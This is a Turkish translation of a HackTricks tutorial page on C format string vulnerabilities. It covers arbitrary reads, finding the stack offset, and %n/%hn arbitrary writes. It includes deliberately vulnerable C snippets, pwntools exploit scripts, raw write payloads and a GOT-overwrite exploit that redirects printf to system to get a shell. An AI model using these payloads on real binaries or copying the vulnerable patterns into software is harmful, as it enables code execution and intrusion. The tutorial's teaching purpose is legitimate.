.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Format Strings
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Temel Bilgiler
C'de printf
bir dizeyi yazdırmak için kullanılabilen bir işlevdir. Bu işlevin beklediği ilk parametre, formatlayıcılarla birlikte ham metin'dir. Beklenen sonraki parametreler, ham metindeki formatlayıcıları değiştirmek için değerler'dir.
Diğer savunmasız işlevler sprintf()
ve fprintf()
'dir.
Zafiyet, saldırgan metni bu işlevin ilk argümanı olarak kullanıldığında ortaya çıkar. Saldırgan, printf format dizesinin yeteneklerini kötüye kullanarak herhangi bir adreste (okunabilir/yazılabilir) herhangi bir veriyi okumak ve yazmak için özel bir girdi oluşturabilecektir. Bu şekilde rastgele kod çalıştırma yeteneğine sahip olacaktır.
Formatlayıcılar:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Örnekler:
- Açık örnek:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normal Kullanım:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Eksik Argümanlarla:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnerable:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Pointer'lara Erişim
Format %<n>$x
, burada n
bir sayı, printf'e yığın (stack) içinden n parametresini seçmesini belirtir. Yani printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
printf("%x %x %x %x")
ve birinci parametreden dördüncü parametreye kadar okuyabilirsiniz.
Ya da şunu yapabilirsiniz:
printf("%4$x")
ve doğrudan dördüncüyü okuyun.
Saldırganın printf
parametresini kontrol ettiğini unutmayın, bu temelde onun girdiğinin printf
çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
{% hint style="danger" %}
Bu girişi kontrol eden bir saldırgan, yığında rastgele adres ekleyebilecek ve printf
'in bunlara erişmesini sağlayabilecektir. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır.
{% endhint %}
Rastgele Okuma
Biçimlendiriciyi %n$s
kullanarak printf
'in n pozisyonunda bulunan adresi almasını ve bunu bir dizeymiş gibi yazdırmasını sağlamak mümkündür (0x00 bulunana kadar yazdır). Yani, ikili dosyanın temel adresi 0x8048000
ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü dize, o adresin sonunda 0x00 ile kesilecektir. {% endhint %}
Ofseti Bul
Girişinizin ofsetini bulmak için 4 veya 8 bayt (0x41414141
) gönderebilir ve ardından %1$x
ile değeri artırarak A'leri
alana kadar devam edebilirsiniz.
Brute Force printf ofseti
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Ne kadar faydalı
Rastgele okumalar şunlar için faydalı olabilir:
* **Bellekten** **ikili** **veriyi** **dökme**
* **Hassas** **bilgilerin** saklandığı **belleğin belirli kısımlarına** erişim sağlama (örneğin, bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi canary'ler, şifreleme anahtarları veya özel şifreler)
## **Rastgele Yazma**
Formatlayıcı **`%<num>$n`** **yazılan bayt sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bunun yerine **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` konumunu gösteren adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Ancak, genellikle 0x08049724
gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), $hn
kullanılır, $n
yerine. Bu, sadece 2 Bayt yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük 2B'si için.
Bu nedenle, bu zafiyet herhangi bir adrese (keyfi yazma) yazmaya olanak tanır.
Bu örnekte, hedef, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun adresini üst üste yazmak olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Bir fonksiyonu üst üste yazacağız ki bu fonksiyon, kullanıcıdan argümanlarını alır ve system
fonksiyonuna işaret eder.
Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2 Bayt'ı. Bunu yapmak için $hn
kullanılır.
- HOB, adresin 2 yüksek baytına çağrılır
- LOB, adresin 2 düşük baytına çağrılır
Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce [HOB, LOB] içindeki en küçüğü yazmanız ve ardından diğerini yazmanız gerekir.
Eğer HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Eğer HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Şablonu
Bu tür bir zafiyet için bir exploit hazırlamak üzere bir şablon bulabilirsiniz:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ya da buradan bu temel örneği inceleyebilirsiniz:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Bir format string zafiyetinin yazma eylemlerini kötüye kullanarak stack adreslerine yazmak ve buffer overflow türü bir zafiyeti istismar etmek mümkündür.
Diğer Örnekler & Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, format string kullanarak stack'ten flag'i sızdırmak için temel kullanım (işlem akışını değiştirmeye gerek yok)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie,
fflush
adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie,
.fini_array
içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) vestrlen
'a işaret eden GOT tablosundakisystem
adresini yazmak. Akış main'e döndüğünde, kullanıcı girişi ilestrlen
çalıştırılır vesystem
'a işaret eder, geçilen komutları çalıştırır.
Hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı yazılı ve sözlü Lehçe gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- HackTricks ve HackTricks Cloud github reposuna PR göndererek hacking ipuçlarını paylaşın. {% endhint %}